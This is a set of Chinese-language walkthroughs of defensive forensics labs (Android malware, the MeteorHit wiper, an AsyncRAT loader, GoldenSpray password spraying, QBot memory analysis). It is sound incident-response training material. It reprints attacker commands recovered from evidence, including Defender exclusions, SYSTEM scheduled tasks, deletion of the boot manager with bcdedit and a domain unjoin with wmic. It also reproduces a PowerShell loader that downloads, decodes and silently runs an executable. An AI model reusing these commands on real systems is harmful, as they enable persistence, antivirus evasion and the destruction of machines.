再根据Q4中博主给出的图片来看,

Q4:数据泄露使用的协议是什么?

要回答这个问题,我们需要研究可以向外发送流量的方法的源代码。让我们看看源代码中有哪些类可以做到这一点。由于我们发现了一个恶意包,让我们先在JADX中打开它看看它包含什么:

img

我的目光落在了最后两个类别上,因为这两个类别表明这个应用程序可以发送电子邮件。我认为,根据这些信息,如果您碰巧知道电子邮件通信使用的协议,那么您可以回答这个问题。

答案是SMTP

Q5:攻击者用来接收被窃取数据的服务平台名称是什么?

现在有了一个发送电子邮件的类,让我们打开它,看看能否找到有关电子邮件流量的一些信息:

img

这里有很多信息,但正确的答案实际上在下面一点:

img

看看mail.smtp.host,你可以在这里找到一个平台。这个平台用于个人和企业在一个地方测试、发送和控制电子邮件基础设施(根据他们的网站)

Q6:攻击者在窃取数据时使用的是什么邮件?

如果你认为你能在这些类里面找到信息,那你就错了。要找到这一点,你需要一些关于源代码如何工作的知识。如果你曾经写过代码,在这方面你会有巨大的优势,但如果你没有写过代码,这也是可行的。

首先,我们需要确定实际发送电子邮件的类。SendEmail类负责发送电子邮件。

要想知道它在哪里被调用/使用,我们必须右键单击SendEmail类并选择“Find Usage”(或者按x,这次不要怀疑):

img

这将告诉你BroadcastForAlarm类正在使用它。那么,让我们来研究一下:

img

这里肯定有一个电子邮件地址,这是这个问题的正确答案。它还揭示了一个非常重要的信息:“config.txt”行。这表明这就是要发送的数据。

Q7:攻击者在试图窃取之前保存了一个包含泄露的公司凭据的文件。根据这些数据,您可以检索在泄漏中找到的凭据吗?

安卓(Android)手机 中,artifacts 文件夹通常包含 应用程序和系统运行时生成的各种数据,这些数据可能用于调试、分析用户行为、缓存信息,甚至是取证分析时的重要线索。具体内容取决于 Android 版本、ROM 以及特定应用

我们有一条非常重要的信息:文件名。所以,让我们在artifacts文件夹中搜索它:

img

它有两个条目,都包含完全相同的信息。让我们打开这个文件,看看攻击者能获取到什么:

img

除了我们都会犯的明显的拼写错误之外,这里肯定有一堆凭据。要回答这个问题,首先要仔细研究这个问题:它要求提供公司资质。然后,将其提交为:(不带<>的格式),以通过此问题。

Q8:恶意软件通过加密改变Android手机上存储的图像。恶意软件用来加密这些图像的加密密钥是什么?

这个问题把我难住了。由于在这个问题之前我还没有使用过“DB Explorer for SQLite”和“Cyberchef”,我猜测密钥是在运行时生成的,并存储在日志文件(= database)中,然后我必须打开并解密。然而,正确的答案在于源代码,我只是忽略了它。

看着这个恶意包,我的目光转向了“AESUtils”包,因为AES是一种加密密码,它可能可以回答我的问题:

img

img

这里肯定包含了一密钥。它还提到,密钥最初是base64编码的,将在这里进行解码。由于问题提到了加密密钥,我决定在这里研究一下“encrypt”函数的用法。右键点击“encrypt”,找到使用方法:

img

MainTask.ENC类(可能是加密的缩写)是进行加密的类。让我们来看一看:

img

请看以byte[] encryptedPixels开始的那一行:它包含了一个以==结束的字符串。这是Base64的一个重要指示,让我们带着这个字符串前往CyberChef。

img

这是加密密钥,也是问题8的正确答案

Q9:员工将敏感数据存储在手机的数据库里,包括信用卡信息。信用卡的CVC是多少?

最后一个问题要诚实地回答容易得多。要回答这个问题,我们需要数据转储中的images文件夹。这是在同一个文件夹中找到的下载,这是data -> media -> 0 -> Pictures

img

路径部分 含义
data 在某些设备或 root 访问模式下,data 可能是 Android 的数据目录,也可能是 /mnt/data 之类的存储挂载点。
media media 目录通常存放 用户媒体文件(如图片、音频、视频等)。
0 代表 主用户(用户 ID 0),即 Android 的 默认用户(多用户模式下可能会有 1011 等编号的子文件夹)。
Pictures 这个文件夹通常是 Android 默认的图片存储路径,系统和应用程序(如相机、截图工具)会将图片保存在此处。
.aux 可能是 隐藏文件或隐藏文件夹(以 . 开头的文件在 Linux/Android 中默认隐藏)。

当你尝试打开这两个JPG文件时,它们将不起作用:

img

幸运的是,当您检查。aux文件夹时,您将找到另一个图像,这个图像确实有效:

img

MeteorHit Lab(日志分析)

一个关键的网络基础设施遇到了重大的运营中断,导致系统中断和机器受损。公共留言板上显示着带有政治色彩的信息,几个系统被清除,造成了广泛的服务故障。初步调查显示,攻击者入侵了活动目录(AD)系统,并在多台机器上部署了数据销毁恶意软件。

幸运的是,在攻击过程中,一名警觉的员工注意到可疑活动,并立即关闭了几个关键系统,阻止了恶意软件完成对整个网络的清除。然而,损害已经造成,你的团队的任务是调查妥协的程度。

通过KAPE SANS Triage从一台受影响的机器上收集取证资料,以确定攻击者是如何获得访问权限的,恶意软件的部署范围,以及在关闭之前影响了哪些关键系统或数据。

要VIP

原文地址:CyberDefenders/MeteorHit/Readme.md at main · Kinabler/CyberDefenders

Q1:攻击开始于使用组策略对象(GPO)来执行恶意批处理文件。通过运行脚本发起攻击的恶意GPO的名字是什么?

加载事件日志关联组策略 "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\System32\winevt\logs\Windows PowerShell.evtx"

这里使用的工具是event log explorer

Event Log Explorer 是一款 Windows 事件日志分析工具,比系统自带的 事件查看器(Event Viewer) 提供了 更高级的功能,适用于 系统管理员、取证分析和威胁调查

主要看Security日志,可以看到一个可疑的文件已经运行:

alt text

Add-MpPreference -Force -ExclusionPath 'C:\ProgramData\Microsoft\env\update.bat'
  • Add-MpPreference 是 Windows Defender 的 PowerShell 命令,用于配置防病毒策略
  • -Force 参数:强制执行操作,避免交互提示,符合自动化攻击特征。
  • -ExclusionPath 路径
    • 路径 C:\ProgramData\Microsoft\env\update.bat 异常:
      • env 目录非微软官方默认路径,疑似恶意软件创建的隐藏目录。
      • update.bat 文件可能是恶意脚本(如下载木马、横向移动命令)。

C:\ProgramData\Microsoft\env\ 是一个 隐藏目录,默认情况下不会被普通用户注意到,通常用于存储配置文件、环境变量、或者恶意软件

应用过滤器:

alt text

描述文本(Text in description)

  • 输入 Changes were detected
  • 作用:筛选描述中包含该短语的事件(如文件修改、配置变更告警)。

或事件Id 4016

事件 ID 4016 是 Windows 系统中与 加密服务(CryptoAPI) 相关的事件,通常记录以下内容:

  • 触发场景
    • 应用程序尝试使用证书或加密密钥时失败。
    • 证书链验证错误(如证书吊销、不受信任的根证书)。

alt text

细节:

启动脚本扩展处理(Startup Scripts Extension Processing):
这表示系统已开始处理组策略配置中指定的脚本。在此阶段,系统将检查并按配置执行这些脚本。

适用的组策略对象列表(GPO)列表变更(Changes were detected):
该行表明系统检测到计算机或用户适用的组策略对象(GPO)列表发生了更改。这些更改可能包括添加、修改或删除脚本。

DeploySetup:
这是一个包含待应用脚本的特定组策略对象(GPO)名称。在此示例中,检测到名为“DeploySetup”的 GPO 并会对其进行处理。此 GPO 可能包含在系统启动、关机或用户登录/注销期间执行的脚本。

使用Registry Explorer,导入 C:\Users\Administrator\Desktop\Start Here\Artifacts C:\Windows\System32\config\SOFTWARE 和两个日志文件,显示注册表中的所有更改。然后,再次将保存文件加载到注册表资源管理器和浏览器: ROOT\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup\0\0

Registry Explorer 是一款专为分析和管理 Windows 注册表 设计的第三方工具,主要用于查看、搜索、导出和对比注册表数据。

你可以在这里看到GPO的名字DeploySetup

alt text

bat文件已经在脚本中导入:

alt text

路径: \\WIN-499DAFSKAR7\Data\scripts\setup.bat

此外,当我将SYSTEM hive registry加载到registry Explorer时,我知道这台机器的名称是:DESKTOP-VBIOB4B,这意味着它与存储setup.bat脚本的机器不同

alt text

答案:DeploySetup

Q2:在调查期间,在系统上发现了一个包含攻击后期所需关键组件的特定文件。这个文件使用内置工具进行扩展,在恶意软件的运行过程中发挥了至关重要的作用。文件的名称是什么,它位于系统上的什么位置?请提供完整的文件路径。

方法一:检查Powrshell的事件日志

MFTECmd.exe -f "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\`$MFT" --csv "C:\Users\Administrator\Desktop\Start Here\MFTcmd.csv"

此命令通过解析 $MFT 文件生成详细的文件系统元数据报告

  • $MFT:NTFS 文件系统的核心元数据文件,存储所有文件和目录的详细信息。

看到很多文件的路径都是: ProgramData\Microsoft\env\

alt text

我使用TimelineExplorer来显示输出文件的内容

使用MFTECmd解析$MFT文件,您可以看到文件的3个路径并提交它,然后第二个路径是正确的。

方法二:使用Event logEvtxECmd.exe合并所有事件日志到csv文件和过滤器

alt text

alt text

你可以看到 C:\ProgramData\Microsoft\env\env.cab ,这是由父命令行使用的: C:\Windows\system32\cmd.exe /c ""\\WIN-499DAFSKAR7\Data\scripts\setup.bat" " 等等

Expand命令用于解压或提取.cab文件或dl_\文件

完整命令(稍后使用):

expand  "C:\ProgramData\Microsoft\env\env.cab" /F:* "C:\ProgramData\Microsoft\env"
"Rar.exe"  x "C:\ProgramData\Microsoft\env\programs.rar" -phackemall
ipconfig /release
powershell  -Command "Get-WmiObject -class Win32_NetworkAdapter | ForEach { If ($_.NetEnabled) { $_.Disable() } }" 
reg  query "HKLM\SOFTWARE\KasperskyLab" 
powershell  -Command "Add-MpPreference -Force -ExclusionPath '"C:\ProgramData\Microsoft\env"\update.bat'" 

答案:C:\ProgramData\Microsoft\env\env.cab

Q3:攻击者利用密码保护的档案来隐藏恶意文件,这使得破解用于提取的密码变得非常重要。识别该密码是访问内容和进一步分析攻击的关键。用来提取恶意文件的密码是什么?

在上一个问题中,我们发现有一个命令:

"Rar.exe"  x "C:\ProgramData\Microsoft\env\programs.rar" -phackemall

-p 选项用于 指定解压密码,这里的密码是 hackemall

答案:hackemall

Q4:执行了几个命令来为Windows Defender添加例外,阻止它扫描特定的文件。这种行为通常被攻击者用来确保恶意文件不被系统内置的防病毒软件检测到。跟踪这些排除命令对于识别哪些文件已被防病毒扫描保护至关重要。添加到Windows防御排除列表的第一个文件的名字是什么?

从Q1的分析就找出第一个用于添加排除路径的命令是:

powershell  -Command "Add-MpPreference -Force -ExclusionPath '"C:\ProgramData\Microsoft\env"\update.bat'" 

答案:update.bat

Q5:已配置定时任务在设定的延迟后执行文件。了解这种延迟对于调查潜在恶意活动的时间很重要。计划在任务创建时间之后运行多少秒?

注意:在回答与时间有关的问题时,请考虑系统的时区。

这是系统时区:太平洋标准时间

alt text

在Q2中,你可以看到一个命令使用schtasks来创建一个用于持久化的调度器任务:

schtasks  /CREATE /SC ONCE /ST 09:08:13 /TN "mstask" /RL HIGHEST /RU SYSTEM /TR "\""C:\ProgramData\Microsoft\env\env.exe"\" C:\temp\msconf.conf"

/CREATE:创建一个新的计划任务。

/SC ONCE:表示任务只执行一次,而不是每天、每周等。

/ST 09:08:13:任务将在 09:08:13 时启动。

/TN "mstask":指定任务的名称为 mstask

  • 任务名是 mstask,但可能是为了伪装成微软的合法任务(如 Task Schedulermstask.exe)。

/RL HIGHEST:以 最高权限 运行任务。

/RU SYSTEM:任务以 SYSTEM(最高权限)用户 执行。

/TR:指定要执行的任务(可执行文件)。

C:\ProgramData\Microsoft\env\env.exe C:\temp\msconf.conf

  • C:\ProgramData\Microsoft\env\env.exe:要执行的程序,位于隐藏目录 C:\ProgramData\Microsoft\env\ 里,可能是恶意文件
  • C:\temp\msconf.conf:这个参数是传递给 env.exe 的配置文件,可能包含恶意指令、C&C 服务器地址等。
  • \"\" 可能是为了绕过 Windows 命令行的解析问题,确保 env.exe 能正确执行。

开始时间为:09:08:13 (UTC)

这是执行时间:

alt text

时间:2024-09-24 16:08:00(PDT)

注意:在九月份,系统将使用太平洋夏令时间(PDT),即 UTC-7。当从 UTC 转换为 PDT 时,09:08:13 UTC 将变为 16:08:13 PDT。

比事件日志的实际时间慢13秒

alt text

(这里的计算实在是看不太懂……)

image-20250307220246540

答案:210

Q6:恶意软件执行后,使用wmic工具将计算机系统从某个域或工作组中脱离。跟踪此操作对于识别系统重新配置或未经授权的更改至关重要。负责执行该操作的实用程序的进程ID (PID)是什么?

在恶意文件运行后:

alt text

alt text

WMIC(Windows Management Instrumentation Command-line) 是 Windows 提供的一个命令行工具,用于查询和管理 Windows 系统的 WMI(Windows Management Instrumentation)对象。

Windows 10 版本 21H1 及更新版本已逐步移除 WMIC,推荐使用 PowerShell 进行替代操作。

这是wmic命令:

Parent: C:\Windows\System32\cmd.exe /c wmic computersystem where name="%%computername%%" call unjoindomainorworkgroup\

Child (finally command): wmic  computersystem where name="DESKTOP-VBIOB4B" call unjoindomainorworkgroup

Parent 命令:

computersystem where name="%%computername%%":查找当前计算机的系统信息,其中 %%computername%% 是 Windows 的环境变量,代表当前计算机名。

call unjoindomainorworkgroup\:调用 unjoindomainorworkgroup 方法,使计算机退出域或工作组。

Child 命令(最终执行的命令):

这里 %%computername%% 被解析成 DESKTOP-VBIOB4B,即具体计算机名称。

这条命令最终会让 DESKTOP-VBIOB4B 这台计算机退出其当前所属的域或工作组。

答案:7492

Q7:恶意软件执行了一个命令来删除Windows引导管理器,这是一个负责在启动期间加载操作系统的关键组件。该操作会使系统无法启动,导致严重的操作中断,并使恢复变得更加困难。恶意软件使用了什么命令来删除Windows引导管理器?

bcdedit(Boot Configuration Data Editor)是 Windows 提供的 引导配置数据编辑工具,用于管理 Windows 启动引导项(Boot Configuration Data,BCD)。它可以修改、查看和修复 Windows 启动项,通常用于 引导修复多系统引导管理高级启动参数配置

我们找到了4个使用bcdedit(启动配置数据)的命令:

alt text

/delete {9dea862c-5cdd-4e70-acc1-f32b344d4795}

  • 这表示从 BCD(Boot Configuration Data) 删除 引导项,GUID {9dea862c-5cdd-4e70-acc1-f32b344d4795} 代表的是要删除的 特定引导条目

/f

  • 强制删除,不要求用户确认。

后面的GUID不知道哪个是Windows引导管理器

所以博主提交所有答案以获得正确答案😂

答案:C:\Windows\Sysnative\bcdedit.exe /delete {9dea862c-5cdd-4e70-acc1-f32b344d4795} /f

Q8:恶意软件创建了一个计划任务,以确保持久性和维护对受影响系统的控制。这个任务被配置为每次系统启动时以提升的权限运行,以确保恶意软件继续执行。恶意软件创建的维护持久性的计划任务的名称是什么?

alt text

schtasks  /CREATE /SC ONSTART /TN "Aa153!EGzN" /RL HIGHEST /RU SYSTEM /TR "\"C:\ProgramData\Microsoft\env\env.exe\" \"C:\temp\msconf.conf\"" /F
参数 含义
/CREATE 创建一个新的计划任务
/SC ONSTART 触发条件:当 系统启动 时执行该任务
/TN "Aa153!EGzN" 任务名称:Aa153!EGzN(随机字符串,看起来像是伪装任务名)
/RL HIGHEST 任务以 最高权限 运行(管理员权限)
/RU SYSTEM SYSTEM 账户运行(无交互权限,完全后台执行
/TR "\"C:\ProgramData\Microsoft\env\env.exe\" \"C:\temp\msconf.conf\"" 执行的命令:运行 C:\ProgramData\Microsoft\env\env.exe,并传递参数 C:\temp\msconf.conf
/F 强制创建 任务,如果已有相同名称的任务,则覆盖

答案:Aa153!EGzN

Q9:一个恶意程序被用来锁定屏幕,阻止用户访问系统。调查这种恶意软件对于识别其行为并减轻其影响非常重要。这个恶意软件被标记为什么?(不是文件名)

从上一个问题的图像中,我们发现完整的命令:

"C:\temp\mssetup.exe" /LOCK

alt text

使用MD5: 9A49102F53291A644BD14C8202D8FBE3并提交到Virustotal查看更多信息

alt text

alt text

答案:breakwin

Q10:磁盘显示了一个模式,恶意软件重写数据(可能是0字节),然后删除它,这种行为通常与数据销毁恶意软件活动有关。USN(更新序列号)对于跟踪NTFS卷上文件系统的变化至关重要,使调查者能够跟踪文件何时被创建、修改或删除,即使文件不再存在。这对于构建文件活动时间表和检测潜在的篡改至关重要。与删除msuser.reg文件相关的USN是什么?

$Usnjrnl:$JWindows NTFS 文件系统中的一个特殊系统文件,属于 更新序列号日志(USN Journal)的一部分。它是 NTFS 卷(如 C 盘、D 盘)的元数据文件,用于跟踪文件系统的变更记录。

使用NTFS Log Tracker解决这个问题

$MFT文件: "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\$MFT"

$Usnjrnl:$J文件: "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\$Extend\$J"

日志文件: "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\$LogFile" . Log

alt text

alt text

alt text

跳转到$Usnjrnl:$J(搜索结果),你可以看到事件相关的删除文件:

alt text

答案:11721008

AsyncRAT Lab(代码审计)(不会)

你是Globex公司的网络安全分析师,收到了一份令人担忧的报告:一名员工打开了一封声称是订单规范的附件电子邮件,其中实际上包含一个用于部署AsyncRAT的JavaScript文件。这种恶意软件以惊人的效率逃避检测。为了保护Globex的网络和数据,您必须分析附件,对AsyncRAT的混淆技术进行逆向工程,并确定AsyncRAT渗透的范围。

要VIP,原文地址:[CyberDefenders Write-up] AsyncRAT Lab | by dftln | Feb, 2025 | Medium

挑战文件:

img

AsyncRAT(Asynchronous Remote Access Trojan)是一种开源的远程控制木马,具有高度模块化和隐蔽性。其攻击通常分为多个阶段,以规避安全检测并实现持久化。

阶段 技术重点 隐蔽性 防御难点
第一阶段 初始感染、内存驻留、通信建立 高(无文件、加密) 检测无文件攻击和加密流量
第二阶段 模块加载、横向移动、数据窃取 中(需加载功能模块) 阻断 C2 通信、识别横向移动

Q1:在剖析AsyncRAT有效负载的过程中,您发现PowerShell脚本中的一个变量非常复杂。隐藏恶意混淆代码的变量的名称是什么?

此JavaScript已模糊处理。为了对它进行去混淆,我使用https://obf-io.deobfuscate.io并得到了以下结果(片段):

img

在其中,我们发现了两个大的混淆变量:

第一个是一个反向的base64字符串变量#1 - var olffy[...]

img

在变量#2中,我们可以确定它将是一个PowerShell脚本变量#2 - var hanqb[...]

img

我们可以使用Chrome的开发人员工具对其进行去混淆(知识盲区,不知道如何操作的),我们得出去混淆变量#2

img

Q2:当你追踪 AsyncRAT 的活动时,你会发现一个关键时刻——它连接到互联网,获取入侵的下一阶段。请识别用于下载此恶意活动第二阶段的 URL。

分析它,我们可以看到上面的变量接收变量#1的base64字符串。它还告诉我们如何替换特殊字符,以便我们可以解码。

这样做会给我们最终的去混淆PowerShell脚本:

img

1. 从远程下载图片

$imageUrl = '——————';  # 实际URL被截断或隐藏
$webClient = New-Object System.Net.WebClient;
$imageBytes = $webClient.DownloadData($imageUrl);
  • 行为:通过 WebClient 下载指定 URL 的图片(实际可能是伪装的 PNG 文件)。
  • 风险:图片可能包含隐写的恶意载荷(如 Base64 编码的二进制数据)。

2. 提取隐藏的 Base64 数据

$startFlag = '————';
$endFlag = '<BASE64_END>';
$startIndex = $imageText.IndexOf($startFlag);
$endIndex = $imageText.IndexOf($endFlag);
  • 行为:在图片的文本内容中搜索标记 ————<BASE64_END>,定位隐藏的 Base64 数据。
  • 隐写术:攻击者将恶意代码隐藏在图片的二进制数据中,绕过传统文件检测。

3. 解码并准备恶意负载

$base64Command = $imageText.Substring($startIndex, $base64Length).ToCharArray();
[array]::Reverse($base64Command);  # 反转字符数组(反检测)
$base64Command = -join $base64Command;  # 合并为字符串
$commandBytes = [System.Convert]::FromBase64String($base64Command);
  • 混淆技术
    • 反转 Base64 字符串字符顺序(如 ABCDDCBA),避免直接解码暴露恶意代码。
    • 解码后得到二进制数据(通常是 PE 文件,如 EXE 或 DLL)。

4. 写入临时文件并执行

$tempExePath = [System.IO.Path]::GetTempPath() + [System.Guid]::NewGuid().ToString() + ".exe";
[System.IO.File]::WriteAllBytes($tempExePath, $commandBytes);
Start-Process powershell.exe -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command $tempExePath";
  • 行为
    • 在系统临时目录生成随机名称的 .exe 文件(如 C:\Users\xxx\AppData\Local\Temp\c3a8f1d0.exe)。
    • 以隐藏窗口方式静默执行该文件,用户无感知。
  • 持久化:生成的 EXE 可能是远控木马(如 AsyncRAT)或勒索软件。

Q3:在你调查过程中获取的混乱编码数据中,有一个字符串标志着实际编码代码的起始位置。这个标记指示了下载文件中隐藏的编码内容的位置,它是什么?

由Q2分析出的去混淆PowerShell脚本中存在答案

Q4:AsyncRAT的第二阶段已经被仔细地解包,揭示了一个提取的可移植可执行文件(PE)。为了理解这个阶段的唯一性,这个提取的PE的MD5哈希值是多少?

img

Q5:AsyncRAT试图将自己嵌入系统中进行长期间谍活动。在扫描过程中,您偶然发现了一个用于持久化的注册表项。您能否提供恶意软件试图巩固其存在的注册表项的完整路径?

根据Q2分析的Powershell命令,我们去寻找temp文件,但是很难,因为是随机生成文件名的:

img

$tempExePath = [System.IO.Path]::GetTempPath() + [System.Guid]::NewGuid().ToString() + ".exe";
  • [System.IO.Path]::GetTempPath():获取系统临时目录路径(如 C:\Users\Administrator\AppData\Local\Temp)。
  • [System.Guid]::NewGuid().ToString():生成一个全局唯一标识符(GUID),例如 d2e5253c-103c-4722-8598-208a63b2ec69
  • 拼接临时路径、GUID 和 .exe 扩展名,生成一个随机命名的可执行文件路径。

不过powershell命令中包含获取imageURL的参数,我们进行访问,

由于URL不再活动,我们转到WebArchive(网站时光机):

img这就是包含第二级有效载荷的图像文件

我们知道这个图像包含文本,并且PowerShell脚本告诉我们在哪里找到感兴趣的base64,我们可以在Notepad++中打开图像并搜索$startFlag

img

尝试在Cyberchef中解码这个base64告诉我们,这实际上是一个PE文件,正如我们之前解码的Powershell脚本所示。

然后,我们使用Cyberchef下载此文件,以便继续在dnSpy中进行分析。

img

基于上述情况,我们可以有几个结论,如:

  • 它具有持久性功能,可以向某些注册表项添加一些内容。(图中被挡了,该注册表就是这题答案)
  • 下载另一张图片。
  • 与我们之前分析的从图像中提取base64代码的行为相同,然后使用RegAsm执行,恶意软件有时会使用RegAsm将.dll文件直接加载到内存中,以避免将任何内容写入磁盘(反映代码注入)。

RegAsmAssembly Registration Tool,程序集注册工具)是 Windows 自带的一个命令行工具,主要用于在 Windows 注册表中注册 .NET 组件,使其可以被 COM(组件对象模型)客户端调用。

img

Q6:您的分析不会停留在第二阶段;恶意软件还有更多秘密要揭露。第三个阶段是从你需要发现的URL下载。恶意软件下载第三阶段的URL是什么?

由Q5的分析可得出第三阶段的URL

Q7:随着AsyncRAT第三阶段的关注,另一个可移植可执行文件(PE)浮出水面。为了全面了解这个阶段,从第三阶段提取的PE的MD5哈希值是多少?

我们再次下载它并查找base64字符串。

这一次,base64被颠倒了。因此,在Cyberchef中,我们使用Reverse和Decode base64 recipes来获取我们的有效负载,这是另一个PE文件。我们再次下载它并在dnSpy中打开它以继续我们的分析:

img

当我浏览代码时,感觉不像还有另一个阶段。我只是看到一些Windows函数,看起来可以做一些进程注入,所以我认为这就足够了

img

GoldenSpray Lab(威胁狩猎)

作为SecureTech Industries的网络安全分析师,你已经收到了公司网络中不寻常的登录尝试和未授权访问的警告。初步迹象表明,这可能是对用户账户的暴力攻击。你的任务是分析所提供的日志数据,以跟踪攻击的进展,确定漏洞的范围,以及攻击者的TTPs。

要VIP

原文地址:CTF Write-up: GoldenSpray (Certified Cyber Defenders) | by itsGir | Feb, 2025 | MediumGoldenSpray Lab | FaresMorcy

TTPsTactics, Techniques, and Procedures(战术、技术和程序)的缩写,在网络安全领域中用于描述攻击者的行为模式和攻击方式。它通常用于 威胁情报分析(Threat Intelligence)入侵检测(Intrusion Detection)

Q1:攻击者的IP是什么?

最重要的步骤之一是找出攻击的源头。为了做到这一点,让我们首先检查与ip地址相关的元数据字段。我决定先检查所有与IP相关的字段名:

img

当然,并非所有这些都是相关的。由于它是攻击者,我建议使用 winlog.event_data.ClientIP是一个密切相关的检查。

  • winlog.event_data.ClientIP 是Splunk中用于分析客户端来源IP的关键字段,常见于网络登录和防火墙事件。

打开它时,会显示以下内容:

img

如果您了解基本的网络基础知识,就可以知道192.168.24.16很可能不是攻击者。但另一个肯定是。这就是第1题的正确答案

192.168.24.16是一个 私有IP地址(属于 192.168.0.0/16 的保留地址范围),通常用于内部网络设备(如本地服务器、办公电脑等)。在大多数情况下,私有IP地址的流量是内网通信,攻击者更可能使用公网IP地址

或是查询:

event.action: Logon AND event.outcome: failure

event.action: Logon

  • 过滤 事件类型Logon(登录事件)。
  • 只获取涉及用户登录的事件。

AND event.outcome: failure

  • 只匹配 失败的登录尝试(Failure)。
  • 过滤掉成功的登录事件,仅关注 登录失败,可能与 暴力破解(Brute Force)口令喷洒(Password Spraying) 攻击有关。

无标题33

event.action: Logon AND event.outcome: failure AND winlog.event_data.IpAddress: "77.91.78.115"

无标题34

在短时间内登录失败的次数太多,非常可疑

答案:77.91.78.115

Q2:攻击来自哪个国家?

image-20250308140330668

纯真IP查国外IP比较准:

image-20250308140350858

答案:芬兰

Q3:初次访问时被泄露的用户名是什么?

从这个问题可以看出,有一个账户被攻破了,这意味着攻击者成功登录了这个账户。

在Windows事件日志中“事件ID 4624”为注册成功登录。下面来创建一个查询,查找这个ip地址下成功登录的用户:

event.code.keyword : 4624 and winlog.event_data.IpAddress.keyword : "77.91.78.115"

结果如下:

img

让我们看一下第一个条目,它显示用户“ michaelwilliams ”。

img

然而,这并不是正确的答案。如果查看时间戳,你会发现三个不同但相似的用户名的登录记录:

img

或使用以下命令

event.action: Logon AND  winlog.event_data.IpAddress: "77.91.78.115"

无标题35

答案:SECURETECH\mwilliams

Q4:攻击者在ST-WIN02上持久化的恶意文件是什么?

我们知道是在什么系统下执行的。我们还知道涉及的用户。由于它是关于文件利用(而不是创建)的,我决定构造一个查询,查找此用户在此系统上创建进程(Sysmon事件ID 1):

winlog.computer_name.keyword : "ST-WIN02.SECURETECH.local" and winlog.event_data.User.keyword : "SECURETECH\xxx" and event.code.keyword : 1

结果总共有34条。我决定一个一个地查看它们,从第一个条目开始,你在第3题中看到的登录记录,直到我遇到以下记录:

无标题36

这条记录显示的内容如下:

  • 一项新的注册表键已添加到 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中,这表示自动运行活动,意味着每次系统启动时都会运行该项。
  • 然后,“OfficeUpdater”目录键被屏幕上显示的字符串值填充,并被编程覆盖任何现有的文件名。

这意味着每次Windows启动时,都会运行Temp文件夹中的这个可执行文件。这听起来像是一个完美的持久化方法,并且被证明是问题4的正确答案。

或者加上查看系统上的文件创建(Sysmon事件ID 11)

event.code: 11 AND  "ST-WIN02" AND "mwilliams"
#OR
event.code: 1 AND  "ST-WIN02" AND "mwilliams"

无标题37

答案:OfficeUpdater.exe

Q5:攻击者存储工具的完整路径是什么?

我们对第5题使用相同的方法,当你继续滚动时,应该会遇到以下记录:

img

如果您熟悉这个工具,就会知道MimiKatz用于从内存中提取敏感信息,如果您看到这个过程未经您的同意就在文件系统上创建,那么您就有麻烦了。

无标题38

答案:C:\Users\Public\Backup_Tools\

Q6:ST-WIN02上负责转储凭据的工具的进程ID是什么?

好吧,我们已经找到了这个工具。所以我们要做的就是找到这个工具的进程ID,进程ID可以在此记录的winlog.event_data.ProcessId元数据字段中找到:

img

或者直接过滤

event.code: 1 AND  "ST-WIN02"  AND "*mimikatz.exe"

无标题39

答案:3788

Q7:第二个被攻击者破解并用于横向移动的账户用户名是什么?

我们采用与Q3完全相同的方法,寻找第二个被泄露的用户账户。当再次运行该查询时,您将注意到一组活动在下午5点左右执行(问题3中的活动),另一组活动在下午5点34分执行:

img

让我们看看这组活动的用户是否不同:

img

继续

event.action: Logon AND  winlog.event_data.IpAddress: "77.91.78.115"

无标题40

答案:jsmith

Q8:能否在域控制器上提供攻击者创建的持久化定时任务?

这个有点难求。我们知道这是在域控制器上完成的,所以让我们再次查看进程创建记录,但这次是在域控制器上:

winlog.computer_name.keyword : "ST-DC01.SECURETECH.local" and event.code.keyword : "1"

现在,我们只需要找到计划任务记录。为此,我查找了“winlog.event_data. json”。直到我找到“schtasks.exe”的条目

img

让我们看看创建了哪个计划任务,打开它并查看命令行:

img

看起来FileCleaner.exe文件(来自临时目录)在系统用户下每小时运行一次。绝对是合法文件,没什么好担心的,对吧?

“tn”(taskname)条目是问题8的正确答案

或者直接分析schtasks.exe的创建进程事件

event.code: 1 AND  "*schtasks.exe"

无标题41

schtasks /create /tn "FilesCheck" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\\Windows\\Temp\\FileCleaner.exe" /sc hourly /ru SYSTEM

Q9:Kerberos票证环境使用的加密类型是什么?

Kerberos票证是一种用于在网络中进行身份验证的安全凭证。它是基于Kerberos协议的,该协议通常用于保护客户端与服务器之间的通信,尤其是在分布式系统中。Kerberos票证的作用是确保网络通信中的用户身份的真实性,并防止中间人攻击。

Kerberos票证记录记录在Windows事件ID 4768下

因此我们首先查询:

event.code : 4768

接下来,让我们查找winlog.event_data.TicketEncryptionType元数据值:

img

然后,我通过Kerberos加密类型代码定义关联该条目以找到正确的答案。绝大多数记录都是审计失败的,但其余条目应该提供这里使用的加密类型。

答案:RC4-HMAC

Q10:您能提供输出文件的完整路径,以便为数据外泄做准备吗?

对于最后一个问题,我们必须查看一个不同的Sysmon条目,它是ID 11(文件创建)。我们知道第二个用户被入侵了,所以我调查了这个用户创建文件的行为:

winlog.event_data.User.keyword : "SECURETECH\jsmith" and event.code.keyword : 11

然后,检查“ winlog.event_data. ”TargetFilename”条目,你应该很快就能找到一个最有可能准备导出的文件:

img

您将发现该文件与受感染用户在ST-FS01系统上的Powershell相关。这就是第十个也是最后一个问题的答案!

或者:

event.code: 11 AND winlog.event_data.Image: *powershell AND "jsmith"

无标题42

答案:C:\Users\Public\Documents\Archive_8673812.zip

QBot Lab(内存取证)

一家公司的安全团队检测到与潜在的恶意软件感染有关的异常网络活动。作为一名取证分析师,您的任务是调查内存转储,识别恶意进程,提取工件,并揭示命令和控制(C2)通信。使用 Volatility3 分析攻击,追踪攻击来源,并提供可执行情报。

要VIP

原文地址:Qbot Lab from Cyberdefenders. Hi Everyone! Today, I’ll be sharing a… | by Hammazahmed | Jan, 2025 | Medium

Q1:我们的第一个挑战是识别恶意软件与外部服务器的初始接触点。目标是指定恶意软件试图通信的第一个IP地址。

要发现任何IP地址或命令-控制(C2)通信,我建议在volatility中使用 netscannetstat 插件。这些插件对于分析内存中捕获的网络活动非常有效。

./vol.py -f memory.dmp windows.netscan

